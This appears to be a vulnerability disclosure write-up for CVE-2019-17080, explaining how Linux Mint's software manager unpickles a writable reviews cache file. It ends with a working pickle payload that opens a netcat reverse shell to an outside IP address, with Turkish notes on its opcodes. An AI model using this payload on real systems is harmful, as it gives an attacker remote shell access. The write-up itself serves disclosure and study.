andhrimnirr/mintinstall-object-injectionCVE-2019-17080
Linux mint software manager (v 7.9.5/9) causes us to execute object injection and arbitrary code due to incorrect configuration
mintinstall
If there is a new comment new-reviews.list download from and write to file.
code mintinstall.py
When the software manager first starts, it calls the ReviewCache() class from the reviews module.
code reviews.py
When the ReviewCache class starts (init) it calls _load_cache()
The Load cache function reads the file in the REVIEWS_CACHE variable and unserializes the data in the file with the help of the pickle module and holds some values in memory.
When I check the file, it looks like I'm allowed to write.
Pickle since we can perform serialize/unserialize operations with the module, we can include the module and execute arbitrary code using the reduce method.
If you attempt to unserialize the file, our malicious code will work.
cos
system
(S'nc -e /bin/sh 192.168.2.138 4545'
tR.
>>modül adı c{os}
>> fonksiyon
( >> işaretleyici nesnesi
S >> tırnak sonuna kadar okuyup stack'e at
tR. >> stackte olanları çagır ve sonucu stacke yerleştir.
